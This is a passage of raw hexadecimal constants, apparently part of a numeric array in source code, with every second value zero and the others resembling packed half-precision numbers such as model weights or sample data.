0x28ad, 0x0, 0x3896, 0x0, 0x39a5, 0x0, 0x3821, 0x0,
0x2b2a, 0x0, 0xb5ef, 0x0, 0xb8fb, 0x0, 0xb825, 0x0,
0xadda, 0x0, 0x37c3, 0x0, 0x3a60, 0x0, 0x37fe, 0x0,
0xa2c8, 0x0, 0xb7de, 0x0, 0xb9e6, 0x0, 0xb877, 0x0,
0x9a34, 0x0, 0x37bd, 0x0, 0x3981, 0x0, 0x37c8, 0x0,
0xace1, 0x0, 0xb7f6, 0x0, 0xb95a, 0x0, 0xb926, 0x0,
0xa0da, 0x0, 0x37dd, 0x0, 0x39fc, 0x0, 0x3828, 0x0,
0xa244, 0x0, 0xb7c9, 0x0, 0xb94d, 0x0, 0xb857, 0x0,
0xaa26, 0x0, 0x36ac, 0x0, 0x3989, 0x0, 0x385e, 0x0,
0x2aa6, 0x0, 0xb77f, 0x0, 0xb96e, 0x0, 0xb810, 0x0,
0x26e1, 0x0, 0x3746, 0x0, 0x39ef, 0x0, 0x386e, 0x0,
0x2be5, 0x0, 0xb672, 0x0, 0xb9b3, 0x0, 0xb80d, 0x0,
0x1d26, 0x0, 0x3743, 0x0, 0x39ee, 0x0, 0x380c, 0x0,
0x228b, 0x0, 0xb7bf, 0x0, 0xb938, 0x0, 0xb783, 0x0,
0xa8f0, 0x0, 0x36bd, 0x0, 0x397b, 0x0, 0x380e, 0x0,
0xa5ae, 0x0, 0xb69c, 0x0, 0xb938, 0x0, 0xb706, 0x0,
0x91fa, 0x0, 0x3853, 0x0, 0x39c8, 0x0, 0x381d, 0x0,
0x28dd, 0x0, 0xb6a5, 0x0, 0xb9ca, 0x0, 0xb79a, 0x0,
0xa2fc, 0x0, 0x3763, 0x0, 0x399a, 0x0, 0x37a5, 0x0,
0xa0fa, 0x0, 0xb770, 0x0, 0xb9d2, 0x0, 0xb81e, 0x0,
0xa97b, 0x0, 0x3876, 0x0, 0x39e7, 0x0, 0x3713, 0x0,
0x2b8b, 0x0, 0xb801, 0x0, 0xb993, 0x0, 0xb82d, 0x0,
0x267d, 0x0, 0x383b, 0x0, 0x3952, 0x0, 0x37d9, 0x0,
0xb04c, 0x0, 0xb8ac, 0x0, 0xb95a, 0x0, 0xb8c0, 0x0,
0xa63a, 0x0, 0x37c4, 0x0, 0x3931, 0x0, 0x3628, 0x0,
0xa65d, 0x0, 0xb802, 0x0, 0xba08, 0x0, 0xb7a7, 0x0,
0x2987, 0x0, 0x377c, 0x0, 0x39da, 0x0, 0x38a7, 0x0,
0xa663, 0x0, 0xb792, 0x0, 0xb94b, 0x0, 0xb778, 0x0,
0x2806, 0x0, 0x3742, 0x0, 0x39e4, 0x0, 0x3739, 0x0,
0xa127, 0x0, 0xb7e1, 0x0, 0xb8ec, 0x0, 0xb773, 0x0,
0xac06, 0x0, 0x378b, 0x0, 0x39a6, 0x0, 0x381b, 0x0,
0xa710, 0x0, 0xb7ad, 0x0, 0xb973, 0x0, 0xb8b4, 0x0,
0xa6f4, 0x0, 0x385f, 0x0, 0x3a25, 0x0, 0x36cb, 0x0,
0x9529, 0x0, 0xb84e, 0x0, 0xb9bf, 0x0, 0xb81c, 0x0,
0x2ade, 0x0, 0x387d, 0x0, 0x3987, 0x0, 0x3621, 0x0,
0x277f, 0x0, 0xb772, 0x0, 0xb913, 0x0, 0xb753, 0x0,
0x2e37, 0x0, 0x3871, 0x0, 0x38e0, 0x0, 0x3804, 0x0,
0x21a7, 0x0, 0xb812, 0x0, 0xb9e0, 0x0, 0xb787, 0x0,
0x29fe, 0x0, 0x38c2, 0x0, 0x39bd, 0x0, 0x37b0, 0x0,
0x1b64, 0x0, 0xb872, 0x0, 0xb9b3, 0x0, 0xb84d, 0x0,
0xa9a7, 0x0, 0x386a, 0x0, 0x392e, 0x0, 0x385b, 0x0,
0xab99, 0x0, 0xb7be, 0x0, 0xb95e, 0x0, 0xb7f9, 0x0,
0x22b6, 0x0, 0x36a4, 0x0, 0x3967, 0x0, 0x381b, 0x0,
0x2b23, 0x0, 0xb6bf, 0x0, 0xb933, 0x0, 0xb812, 0x0,
0x19fd, 0x0, 0x375f, 0x0, 0x38db, 0x0, 0x37cf, 0x0,
0x23fe, 0x0, 0xb82a, 0x0, 0xb930, 0x0, 0xb7fa, 0x0,
0xad81, 0x0, 0x379f, 0x0, 0x39b8, 0x0, 0x3803, 0x0,
0x2a50, 0x0, 0xb80d, 0x0, 0xb9fa, 0x0, 0xb808, 0x0,
0xa132, 0x0, 0x37d5, 0x0, 0x38f9, 0x0, 0x3863, 0x0,
0xb079, 0x0, 0xb70d, 0x0, 0xb975, 0x0, 0xb85d, 0x0,
0xaf91, 0x0, 0x374a, 0x0, 0x3936, 0x0, 0x3819, 0x0,
0x9f82, 0x0, 0xb87f, 0x0, 0xba08, 0x0, 0xb836, 0x0,
0xabca, 0x0, 0x36fc, 0x0, 0x395f, 0x0, 0x37b3, 0x0,
0xae02, 0x0, 0xb81c, 0x0, 0xb969, 0x0, 0xb814, 0x0,
0x238f, 0x0, 0x37c9, 0x0, 0x3951, 0x0, 0x3841, 0x0,
0xa99a, 0x0, 0xb779, 0x0, 0xba58, 0x0, 0xb71b, 0x0,
0x1208, 0x0, 0x384c, 0x0, 0x3981, 0x0, 0x37e3, 0x0,
0xa620, 0x0, 0xb79d, 0x0, 0xb912, 0x0, 0xb81f, 0x0,
0x2c62, 0x0, 0x3806, 0x0, 0x3985, 0x0, 0x3834, 0x0,
0x2a9d, 0x0, 0xb870, 0x0, 0xb94d, 0x0, 0xb98e, 0x0,
0x2451, 0x0, 0x37bf, 0x0, 0x39fd, 0x0, 0x38ba, 0x0,
0x2ac8, 0x0, 0xb809, 0x0, 0xba57, 0x0, 0xb81e, 0x0,
0xa950, 0x0, 0x379e, 0x0, 0x3919, 0x0, 0x3794, 0x0,
0xa1c7, 0x0, 0xb723, 0x0, 0xb9d1, 0x0, 0xb865, 0x0,
0x2447, 0x0, 0x36db, 0x0, 0x39e6, 0x0, 0x380f, 0x0,
0xa923, 0x0, 0xb8d5, 0x0, 0xb962, 0x0, 0xb950, 0x0,
0x2285, 0x0, 0x381e, 0x0, 0x39e5, 0x0, 0x3802, 0x0,
0xaa45, 0x0, 0xb7a7, 0x0, 0xb9df, 0x0, 0xb6f3, 0x0,
0xa488, 0x0, 0x36c9, 0x0, 0x39f8, 0x0, 0x3775, 0x0,
0xa9f0, 0x0, 0xb7f7, 0x0, 0xbab1, 0x0, 0xb72e, 0x0,
0xa1db, 0x0, 0x385c, 0x0, 0x3963, 0x0, 0x38b9, 0x0,
0x215d, 0x0, 0xb842, 0x0, 0xba06, 0x0, 0xb749, 0x0,
0x2c40, 0x0, 0x37a3, 0x0, 0x39d2, 0x0, 0x36f9, 0x0,
0x1df1, 0x0, 0xb7de, 0x0, 0xb928, 0x0, 0xb775, 0x0,
0x2a60, 0x0, 0x3833, 0x0, 0x38c7, 0x0, 0x3802, 0x0,
0xa25d, 0x0, 0xb83c, 0x0, 0xb9ff, 0x0, 0xb7cf, 0x0,
0xa68b, 0x0, 0x382b, 0x0, 0x3999, 0x0, 0x36bc, 0x0,
0x2b3d, 0x0, 0xb79e, 0x0, 0xb969, 0x0, 0xb84b, 0x0,
0xaa2c, 0x0, 0x3803, 0x0, 0x39db, 0x0, 0x378b, 0x0,
0x1a6e, 0x0, 0xb876, 0x0, 0xb9a3, 0x0, 0xb846, 0x0,
0xa244, 0x0, 0x37a9, 0x0, 0x39a8, 0x0, 0x379f, 0x0,
0x1e9d, 0x0, 0xb6de, 0x0, 0xb98b, 0x0, 0xb822, 0x0,
0xacb9, 0x0, 0x3862, 0x0, 0x397b, 0x0, 0x3709, 0x0,
0x1a09, 0x0, 0xb648, 0x0, 0xb91c, 0x0, 0xb817, 0x0,
0x21ca, 0x0, 0x3698, 0x0, 0x39bd, 0x0, 0x3825, 0x0,
0x2d16, 0x0, 0xb76f, 0x0, 0xb98f, 0x0, 0xb7a3, 0x0,
0xaf5a, 0x0, 0x371c, 0x0, 0x3a22, 0x0, 0x37cf, 0x0,
0x2cd7, 0x0, 0xb8e7, 0x0, 0xb983, 0x0, 0xb6ac, 0x0,
0xa883, 0x0, 0x3836, 0x0, 0x3a08, 0x0, 0x37d8, 0x0,
0xa718, 0x0, 0xb6e4, 0x0, 0xb996, 0x0, 0xb828, 0x0,
0x29de, 0x0, 0x382e, 0x0, 0x3981, 0x0, 0x3897, 0x0,
0x2033, 0x0, 0xb832, 0x0, 0xba91, 0x0, 0xb880, 0x0,
0xaa49, 0x0, 0x3799, 0x0, 0x38ec, 0x0, 0x37f2, 0x0,
0xa70e, 0x0, 0xb697, 0x0, 0xb986, 0x0, 0xb67f, 0x0,
0x189b, 0x0, 0x3817, 0x0, 0x3a6c, 0x0, 0x3682, 0x0,
0x2c02, 0x0, 0xb81a, 0x0, 0xba6b, 0x0, 0xb887, 0x0,
0x25a9, 0x0, 0x37d0, 0x0, 0x390a, 0x0, 0x3829, 0x0,
0x24a0, 0x0, 0xb850, 0x0, 0xba6a, 0x0, 0xb7de, 0x0,
0x29ac, 0x0, 0x3803, 0x0, 0x38f8, 0x0, 0x3776, 0x0,
0xa9f9, 0x0, 0xb79e, 0x0, 0xb9b8, 0x0, 0xb74d, 0x0,
0x95a4, 0x0, 0x3779, 0x0, 0x39be, 0x0, 0x3819, 0x0,
0x2b81, 0x0, 0xb857, 0x0, 0xb981, 0x0, 0xb819, 0x0,
0x2c9d, 0x0, 0x3738, 0x0, 0x387a, 0x0, 0x3800, 0x0,
0x27ef, 0x0, 0xb8b4, 0x0, 0xb961, 0x0, 0xb85d, 0x0,
0xa475, 0x0, 0x3725, 0x0, 0x3984, 0x0, 0x3840, 0x0,
0xa91c, 0x0, 0xb822, 0x0, 0xb95c, 0x0, 0xb626, 0x0,
0x2c07, 0x0, 0x370d, 0x0, 0x3979, 0x0, 0x3709, 0x0,
0x21b6, 0x0, 0xb76c, 0x0, 0xba06, 0x0, 0xb817, 0x0,
0x2871, 0x0, 0x377e, 0x0, 0x39b2, 0x0, 0x36ed, 0x0,
0xa670, 0x0, 0xb664, 0x0, 0xb9c6, 0x0, 0xb7c4, 0x0,
0x205f, 0x0, 0x3871, 0x0, 0x392d, 0x0, 0x367e, 0x0,
0x1332, 0x0, 0xb806, 0x0, 0xba10, 0x0, 0xb826, 0x0,
0x2cf2, 0x0, 0x36df, 0x0, 0x39a7, 0x0, 0x37f0, 0x0,
0xa924, 0x0, 0xb833, 0x0, 0xb996, 0x0, 0xb8ae, 0x0,
0x9cce, 0x0, 0x380e, 0x0, 0x39ef, 0x0, 0x387f, 0x0,
0x26e5, 0x0, 0xb827, 0x0, 0xb969, 0x0, 0xb7a5, 0x0,
0x2d3c, 0x0, 0x377f, 0x0, 0x39e9, 0x0, 0x3707, 0x0,
0x2b11, 0x0, 0xb818, 0x0, 0xb8ff, 0x0, 0xb754, 0x0,
0x254d, 0x0, 0x3779, 0x0, 0x39f0, 0x0, 0x3824, 0x0,
0x2d90, 0x0, 0xb5a8, 0x0, 0xb9e6, 0x0, 0xb747, 0x0,
0x250a, 0x0, 0x389a, 0x0, 0x39c8, 0x0, 0x37a9, 0x0,
0x98d9, 0x0, 0xb893, 0x0, 0xba5c, 0x0, 0xb815, 0x0,
0xa34f, 0x0, 0x382f, 0x0, 0x392c, 0x0, 0x37bb, 0x0,
0xa930, 0x0, 0xb816, 0x0, 0xb8d2, 0x0, 0xb6f9, 0x0,
0xa675, 0x0, 0x3911, 0x0, 0x39b9, 0x0, 0x36ec, 0x0,
0xaebc, 0x0, 0xb8e7, 0x0, 0xb9bd, 0x0, 0xb6d6, 0x0,
0xaa59, 0x0, 0x37b7, 0x0, 0x396e, 0x0, 0x3814, 0x0,
0x2dbc, 0x0, 0xb677, 0x0, 0xb99e, 0x0, 0xb86b, 0x0,
0x255c, 0x0, 0x3756, 0x0, 0x39bd, 0x0, 0x3687, 0x0,
0xacf1, 0x0, 0xb836, 0x0, 0xb8f7, 0x0, 0xb87b, 0x0,
0xa6f7, 0x0, 0x37aa, 0x0, 0x3a0c, 0x0, 0x374a, 0x0,
0x29b6, 0x0, 0xb7ed, 0x0, 0xba1b, 0x0, 0xb877, 0x0,
0xa7cb, 0x0, 0x3822, 0x0, 0x3977, 0x0, 0x371f, 0x0,
0xaad4, 0x0, 0xb82a, 0x0, 0xb9b0, 0x0, 0xb8aa, 0x0,
0xa9b0, 0x0, 0x3796, 0x0, 0x39a2, 0x0, 0x3773, 0x0,
0x283d, 0x0, 0xb838, 0x0, 0xb979, 0x0, 0xb7fd, 0x0,
0xa694, 0x0, 0x37c1, 0x0, 0x394e, 0x0, 0x36e6, 0x0,
0xa5c1, 0x0, 0xb887, 0x0, 0xb959, 0x0, 0xb853, 0x0,
0xa37e, 0x0, 0x3843, 0x0, 0x39b8, 0x0, 0x3798, 0x0,
0x2c01, 0x0, 0xb860, 0x0, 0xb9df, 0x0, 0xb817, 0x0,
0xac21, 0x0, 0x382d, 0x0, 0x39c2, 0x0, 0x38f7, 0x0,
0x2a70, 0x0, 0xb810, 0x0, 0xb91e, 0x0, 0xb60e, 0x0,
0xa441, 0x0, 0x3842, 0x0, 0x3a10, 0x0, 0x38bc, 0x0,
0xa2ea, 0x0, 0xb5ec, 0x0, 0xba6c, 0x0, 0xb756, 0x0,
0xa47a, 0x0, 0x3737, 0x0, 0x39ec, 0x0, 0x381d, 0x0,
0x2ba5, 0x0, 0xb828, 0x0, 0xb96d, 0x0, 0xb7f1, 0x0,
0xabbc, 0x0, 0x3875, 0x0, 0x3922, 0x0, 0x37b4, 0x0,
0xa94b, 0x0, 0xb830, 0x0, 0xb9f6, 0x0, 0xb842, 0x0,
0xa91e, 0x0, 0x3871, 0x0, 0x395c, 0x0, 0x3718, 0x0,
0xa5de, 0x0, 0xb88b, 0x0, 0xb952, 0x0, 0xb817, 0x0,
0x25b0, 0x0, 0x381d, 0x0, 0x3914, 0x0, 0x3850, 0x0,
0x2a08, 0x0, 0xb758, 0x0, 0xb96e, 0x0, 0xb62a, 0x0,
0xabea, 0x0, 0x3854, 0x0, 0x3981, 0x0, 0x384b, 0x0,
0x2908, 0x0, 0xb83a, 0x0, 0xb9b7, 0x0, 0xb821, 0x0,
0x2f7b, 0x0, 0x3789, 0x0, 0x39bb, 0x0, 0x36d1, 0x0,
0xa8eb, 0x0, 0xb76e, 0x0, 0xba4b, 0x0, 0xb745, 0x0,
0xac12, 0x0, 0x3836, 0x0, 0x390f, 0x0, 0x3674, 0x0,
0x2d96, 0x0, 0xb8ab, 0x0, 0xb9fc, 0x0, 0xb824, 0x0,
0xa739, 0x0, 0x3773, 0x0, 0x38fb, 0x0, 0x3774, 0x0,
0x2131, 0x0, 0xb8a0, 0x0, 0xb929, 0x0, 0xb6a0, 0x0,
0xa8b3, 0x0, 0x376c, 0x0, 0x3973, 0x0, 0x3667, 0x0,
0x2bb7, 0x0, 0xb802, 0x0, 0xb983, 0x0, 0xb804, 0x0,
0x1d6f, 0x0, 0x3798, 0x0, 0x3999, 0x0, 0x382d, 0x0,
0xac38, 0x0, 0xb7d7, 0x0, 0xb9ae, 0x0, 0xb80d, 0x0,
0x184a, 0x0, 0x3865, 0x0, 0x3889, 0x0, 0x3802, 0x0,
0x2b2c, 0x0, 0xb84f, 0x0, 0xb973, 0x0, 0xb87a, 0x0,
0xa9b0, 0x0, 0x389b, 0x0, 0x3993, 0x0, 0x3838, 0x0,
0xac9f, 0x0, 0xb82b, 0x0, 0xb961, 0x0, 0xb80f, 0x0,
0x2bd5, 0x0, 0x3764, 0x0, 0x3967, 0x0, 0x371d, 0x0,
0xa1da, 0x0, 0xb82d, 0x0, 0xb973, 0x0, 0xb6f0, 0x0,
0xa50d, 0x0, 0x3805, 0x0, 0x396d, 0x0, 0x3750, 0x0,
0xa406, 0x0, 0xb806, 0x0, 0xb98c, 0x0, 0xb80e, 0x0,
0xaba4, 0x0, 0x3834, 0x0, 0x3a64, 0x0, 0x37f7, 0x0,
0x2453, 0x0, 0xb812, 0x0, 0xb9c5, 0x0, 0xb7f3, 0x0,
0xa787, 0x0, 0x3812, 0x0, 0x3a5e, 0x0, 0x36fd, 0x0,
0xa415, 0x0, 0xb81a, 0x0, 0xb9e3, 0x0, 0xb88f, 0x0,
0xa9a7, 0x0, 0x381a, 0x0, 0x396d, 0x0, 0x36d8, 0x0,
0x2589, 0x0, 0xb6f5, 0x0, 0xb94c, 0x0, 0xb803, 0x0,
0xa16a, 0x0, 0x3892, 0x0, 0x38c9, 0x0, 0x37bc, 0x0,
0x2693, 0x0, 0xb83c, 0x0, 0xb9a8, 0x0, 0xb897, 0x0,
0xa861, 0x0, 0x380c, 0x0, 0x38ff, 0x0, 0x37ee, 0x0,
0xa57a, 0x0, 0xb7c2, 0x0, 0xb95a, 0x0, 0xb6d6, 0x0,
0xa82b, 0x0, 0x37d4, 0x0, 0x39a0, 0x0, 0x3817, 0x0,
0xa5cc, 0x0, 0xb810, 0x0, 0xb99e, 0x0, 0xb896, 0x0,
0x2199, 0x0, 0x3877, 0x0, 0x3953, 0x0, 0x36f5, 0x0,
0xae65, 0x0, 0xb7fe, 0x0, 0xb9c3, 0x0, 0xb7b3, 0x0,
0xaaa8, 0x0, 0x3811, 0x0, 0x39cd, 0x0, 0x36cb, 0x0,
0x2960, 0x0, 0xb862, 0x0, 0xb99a, 0x0, 0xb812, 0x0,
0x230c, 0x0, 0x37cc, 0x0, 0x39a5, 0x0, 0x3874, 0x0,
0x2ae4, 0x0, 0xb8d1, 0x0, 0xb992, 0x0, 0xb758, 0x0,
0x309b, 0x0, 0x37f1, 0x0, 0x39ff, 0x0, 0x38e7, 0x0,
0x2ac6, 0x0, 0xb6e1, 0x0, 0xba0f, 0x0, 0xb679, 0x0,
0xad81, 0x0, 0x375f, 0x0, 0x3a08, 0x0, 0x380b, 0x0,
0x2714, 0x0, 0xb891, 0x0, 0xb913, 0x0, 0xb6e9, 0x0,
0x26c1, 0x0, 0x370a, 0x0, 0x3989, 0x0, 0x37e1, 0x0,
0x1c60, 0x0, 0xb839, 0x0, 0xb98b, 0x0, 0xb78f, 0x0,
0x2a72, 0x0, 0x372c, 0x0, 0x39c4, 0x0, 0x37ec, 0x0,
0xa583, 0x0, 0xb740, 0x0, 0xba24, 0x0, 0xb659, 0x0,
0x2512, 0x0, 0x3755, 0x0, 0x39e1, 0x0, 0x37c8, 0x0,
0x2771, 0x0, 0xb7c7, 0x0, 0xba2d, 0x0, 0xb847, 0x0,
0xa926, 0x0, 0x37ba, 0x0, 0x395e, 0x0, 0x3912, 0x0,
0x1bd1, 0x0, 0xb788, 0x0, 0xb994, 0x0, 0xb793, 0x0,
0x28be, 0x0, 0x3832, 0x0, 0x39c6, 0x0, 0x372e, 0x0,
0xa677, 0x0, 0xb7a0, 0x0, 0xb951, 0x0, 0xb786, 0x0,
0x2917, 0x0, 0x3817, 0x0, 0x3959, 0x0, 0x38a8, 0x0,
0x24a6, 0x0, 0xb7ba, 0x0, 0xb97b, 0x0, 0xb8f6, 0x0,
0xa803, 0x0, 0x3855, 0x0, 0x3a85, 0x0, 0x37fc, 0x0,
0x20ee, 0x0, 0xb813, 0x0, 0xb971, 0x0, 0xb7e3, 0x0,
0x2d05, 0x0, 0x3710, 0x0, 0x39ad, 0x0, 0x36e6, 0x0,
0x24e3, 0x0, 0xb900, 0x0, 0xb9e4, 0x0, 0xb844, 0x0,
0x25ac, 0x0, 0x3642, 0x0, 0x3951, 0x0, 0x3816, 0x0,
0x2663, 0x0, 0xb7de, 0x0, 0xb9d8, 0x0, 0xb6c3, 0x0,
0xaa52, 0x0, 0x37b9, 0x0, 0x39be, 0x0, 0x3833, 0x0,
0x1945, 0x0, 0xb732, 0x0, 0xb952, 0x0, 0xb72c, 0x0,
0x2815, 0x0, 0x383e, 0x0, 0x39d6, 0x0, 0x36f5, 0x0,
0x2acb, 0x0, 0xb893, 0x0, 0xb99a, 0x0, 0xb885, 0x0,
0x2885, 0x0, 0x3831, 0x0, 0x3981, 0x0, 0x37ea, 0x0,
0x2ab0, 0x0, 0xb77f, 0x0, 0xb9dd, 0x0, 0xb883, 0x0,
0x1f6c, 0x0, 0x380f, 0x0, 0x3943, 0x0, 0x36d5, 0x0,
0xac24, 0x0, 0xb814, 0x0, 0xba0c, 0x0, 0xb80a, 0x0,
0x9934, 0x0, 0x384b, 0x0, 0x399f, 0x0, 0x381b, 0x0,
0x23e5, 0x0, 0xb740, 0x0, 0xb92e, 0x0, 0xb6ba, 0x0,
0xabef, 0x0, 0x3838, 0x0, 0x3934, 0x0, 0x372c, 0x0,
0xa4e7, 0x0, 0xb878, 0x0, 0xba52, 0x0, 0xb6ad, 0x0,
0xa139, 0x0, 0x36c0, 0x0, 0x39af, 0x0, 0x37a4, 0x0,
0x2731, 0x0, 0xb830, 0x0, 0xb959, 0x0, 0xb7e2, 0x0,
0xa86b, 0x0, 0x386f, 0x0, 0x395a, 0x0, 0x370e, 0x0,
0xa555, 0x0, 0xb7ad, 0x0, 0xb90f, 0x0, 0xb8b1, 0x0,
0xa825, 0x0, 0x378c, 0x0, 0x393d, 0x0, 0x3825, 0x0,
0xaf5a, 0x0, 0xb7a7, 0x0, 0xb948, 0x0, 0xb70a, 0x0,
0x183e, 0x0, 0x3732, 0x0, 0x3988, 0x0, 0x3782, 0x0,
0x26de, 0x0, 0xb753, 0x0, 0xb99d, 0x0, 0xb839, 0x0,
0x2bdd, 0x0, 0x381f, 0x0, 0x38fb, 0x0, 0x383c, 0x0,
0xa919, 0x0, 0xb6b6, 0x0, 0xb976, 0x0, 0xb835, 0x0,
0xa983, 0x0, 0x3819, 0x0, 0x3993, 0x0, 0x3846, 0x0,
0x2415, 0x0, 0xb87a, 0x0, 0xb97e, 0x0, 0xb81f, 0x0,
0x2c00, 0x0, 0x37d6, 0x0, 0x39ac, 0x0, 0x367f, 0x0,
0xab31, 0x0, 0xb7fb, 0x0, 0xb8f4, 0x0, 0xb68f, 0x0,
0x2ac1, 0x0, 0x384d, 0x0, 0x3a2e, 0x0, 0x3816, 0x0,
0xa996, 0x0, 0xb7e1, 0x0, 0xb8a5, 0x0, 0xb77d, 0x0,
0x26d3, 0x0, 0x36ea, 0x0, 0x3a10, 0x0, 0x37ce, 0x0,
0x1337, 0x0, 0xb6ee, 0x0, 0xba40, 0x0, 0xb83d, 0x0,
0x1329, 0x0, 0x37b2, 0x0, 0x3965, 0x0, 0x385c, 0x0,
0x2c06, 0x0, 0xb7e6, 0x0, 0xb99c, 0x0, 0xb83a, 0x0,
0x237a, 0x0, 0x377d, 0x0, 0x399c, 0x0, 0x3810, 0x0,
0x26bb, 0x0, 0xb91a, 0x0, 0xb929, 0x0, 0xb780, 0x0,
0x2bd1, 0x0, 0x37f6, 0x0, 0x3970, 0x0, 0x3865, 0x0,
0x2c40, 0x0, 0xb81a, 0x0, 0xb992, 0x0, 0xb72e, 0x0,
0x2a7d, 0x0, 0x37ae, 0x0, 0x390a, 0x0, 0x3813, 0x0,
0x27f6, 0x0, 0xb79f, 0x0, 0xba02, 0x0, 0xb8a4, 0x0,
0x2a1e, 0x0, 0x3667, 0x0, 0x3997, 0x0, 0x3865, 0x0,
0x2b21, 0x0, 0xb855, 0x0, 0xb96a, 0x0, 0xb8ad, 0x0,
0x28c7, 0x0, 0x370d, 0x0, 0x3969, 0x0, 0x3744, 0x0,
0x9e72, 0x0, 0xb839, 0x0, 0xb90a, 0x0, 0xb6d1, 0x0,
0x2826, 0x0, 0x3837, 0x0, 0x39e9, 0x0, 0x36d4, 0x0,
0xa8b6, 0x0, 0xb891, 0x0, 0xb96b, 0x0, 0xb809, 0x0,
0x2eab, 0x0, 0x3802, 0x0, 0x3a9c, 0x0, 0x376e, 0x0,
0xab35, 0x0, 0xb8d0, 0x0, 0xba1d, 0x0, 0xb80b, 0x0,
0x1d01, 0x0, 0x37a6, 0x0, 0x3a38, 0x0, 0x37ae, 0x0,
0x9dcf, 0x0, 0xb7d1, 0x0, 0xba1a, 0x0, 0xb835, 0x0,
0xae24, 0x0, 0x37e3, 0x0, 0x3a0c, 0x0, 0x38f9, 0x0,
0xab79, 0x0, 0xb85b, 0x0, 0xba1a, 0x0, 0xb821, 0x0,
0xa6d5, 0x0, 0x3810, 0x0, 0x39a7, 0x0, 0x3833, 0x0,
0xa846, 0x0, 0xb6dc, 0x0, 0xba69, 0x0, 0xb78a, 0x0,
0x9b23, 0x0, 0x3808, 0x0, 0x3a29, 0x0, 0x37c1, 0x0,
0x2bf4, 0x0, 0xb855, 0x0, 0xba36, 0x0, 0xb851, 0x0,
0x2b73, 0x0, 0x3766, 0x0, 0x3a9a, 0x0, 0x384c, 0x0,
0x1d26, 0x0, 0xb7d7, 0x0, 0xb976, 0x0, 0xb6d7, 0x0,
0x2b77, 0x0, 0x3838, 0x0, 0x398e, 0x0, 0x3847, 0x0,
0x2daf, 0x0, 0xb712, 0x0, 0xb9e9, 0x0, 0xb74d, 0x0,
0x264c, 0x0, 0x3859, 0x0, 0x39ed, 0x0, 0x37ff, 0x0,
0xa8af, 0x0, 0xb670, 0x0, 0xb921, 0x0, 0xb85d, 0x0,
0x2dfa, 0x0, 0x3869, 0x0, 0x39e0, 0x0, 0x379a, 0x0,
0x299c, 0x0, 0xb87e, 0x0, 0xb951, 0x0, 0xb857, 0x0,
0x2c9d, 0x0, 0x3878, 0x0, 0x3a28, 0x0, 0x37c4, 0x0,
0xa97d, 0x0, 0xb892, 0x0, 0xb841, 0x0, 0xb82a, 0x0,
0xafb3, 0x0, 0x3775, 0x0, 0x3994, 0x0, 0x3794, 0x0,
0x2d0e, 0x0, 0xb5b4, 0x0, 0xb948, 0x0, 0xb812, 0x0,
0xa6e8, 0x0, 0x3825, 0x0, 0x3968, 0x0, 0x37bf, 0x0,
0x2937, 0x0, 0xb8da, 0x0, 0xb9a7, 0x0, 0xb85a, 0x0,
0x255a, 0x0, 0x3826, 0x0, 0x3a1b, 0x0, 0x37ed, 0x0,
0x2a38, 0x0, 0xb6a3, 0x0, 0xb9a1, 0x0, 0xb760, 0x0,
0x20db, 0x0, 0x3828, 0x0, 0x39a3, 0x0, 0x383b, 0x0,
0xa97b, 0x0, 0xb82c, 0x0, 0xb93c, 0x0, 0xb88b, 0x0,
0x2996, 0x0, 0x3811, 0x0, 0x3a39, 0x0, 0x381e, 0x0,
0xad0e, 0x0, 0xb6be, 0x0, 0xbab6, 0x0, 0xb80c, 0x0,
0xa399, 0x0, 0x3706, 0x0, 0x3996, 0x0, 0x384f, 0x0,
0x9959, 0x0, 0xb739, 0x0, 0xb8a0, 0x0, 0xb6c1, 0x0,
0xaabb, 0x0, 0x381f, 0x0, 0x39d2, 0x0, 0x3864, 0x0,
0x29f0, 0x0, 0xb87e, 0x0, 0xb965, 0x0, 0xb878, 0x0,
0xac0c, 0x0, 0x3835, 0x0, 0x39b9, 0x0, 0x3722, 0x0,
0x2231, 0x0, 0xb73e, 0x0, 0xb97c, 0x0, 0xb72a, 0x0,
0xa6e0, 0x0, 0x3841, 0x0, 0x3a18, 0x0, 0x38e9, 0x0,
0x2649, 0x0, 0xb81a, 0x0, 0xb9ef, 0x0, 0xb617, 0x0,
0xa059, 0x0, 0x37f6, 0x0, 0x392a, 0x0, 0x37f8, 0x0,
0x1cd3, 0x0, 0xb7e3, 0x0, 0xb987, 0x0, 0xb7af, 0x0,
0xa1b2, 0x0, 0x381b, 0x0, 0x3a1b, 0x0, 0x383f, 0x0,
0xa9e3, 0x0, 0xb7d7, 0x0, 0xb93d, 0x0, 0xb884, 0x0,
0x1d7a, 0x0, 0x37ca, 0x0, 0x3993, 0x0, 0x3665, 0x0,
0x1cba, 0x0, 0xb732, 0x0, 0xb9a9, 0x0, 0xb813, 0x0,
0xa8cb, 0x0, 0x37de, 0x0, 0x3a01, 0x0, 0x3703, 0x0,
0xa5e4, 0x0, 0xb854, 0x0, 0xb9b6, 0x0, 0xb6ee, 0x0,
0x232e, 0x0, 0x3837, 0x0, 0x3998, 0x0, 0x385a, 0x0,
0xa7d0, 0x0, 0xb787, 0x0, 0xb93d, 0x0, 0xb875, 0x0,
0x25aa, 0x0, 0x3809, 0x0, 0x3a10, 0x0, 0x3771, 0x0,
0xaeeb, 0x0, 0xb741, 0x0, 0xba47, 0x0, 0xb7b1, 0x0,
0xa537, 0x0, 0x37ed, 0x0, 0x3a67, 0x0, 0x37ca, 0x0,
0xa7ff, 0x0, 0xb843, 0x0, 0xb956, 0x0, 0xb666, 0x0,
0x229f, 0x0, 0x3796, 0x0, 0x39a2, 0x0, 0x382c, 0x0,
0xa6a8, 0x0, 0xb795, 0x0, 0xb9c7, 0x0, 0xb888, 0x0,
0x29f6, 0x0, 0x38cd, 0x0, 0x3982, 0x0, 0x3884, 0x0,
0xa53e, 0x0, 0xb88f, 0x0, 0xb95a, 0x0, 0xb72c, 0x0,
0x9ccf, 0x0, 0x377a, 0x0, 0x398a, 0x0, 0x3745, 0x0,
0x2bb8, 0x0, 0xb757, 0x0, 0xb9c0, 0x0, 0xb6d1, 0x0,
0x2d64, 0x0, 0x37b7, 0x0, 0x39bd, 0x0, 0x387b, 0x0,
0xa474, 0x0, 0xb6c0, 0x0, 0xb9ef, 0x0, 0xb78d, 0x0,
0x9897, 0x0, 0x3857, 0x0, 0x39c7, 0x0, 0x371e, 0x0,
0x3004, 0x0, 0xb7ae, 0x0, 0xb9b9, 0x0, 0xb7b8, 0x0,
0x2c37, 0x0, 0x3819, 0x0, 0x39de, 0x0, 0x3660, 0x0,
0xa67b, 0x0, 0xb82c, 0x0, 0xb96c, 0x0, 0xb7ae, 0x0,
0x287a, 0x0, 0x3860, 0x0, 0x38d9, 0x0, 0x37fa, 0x0,
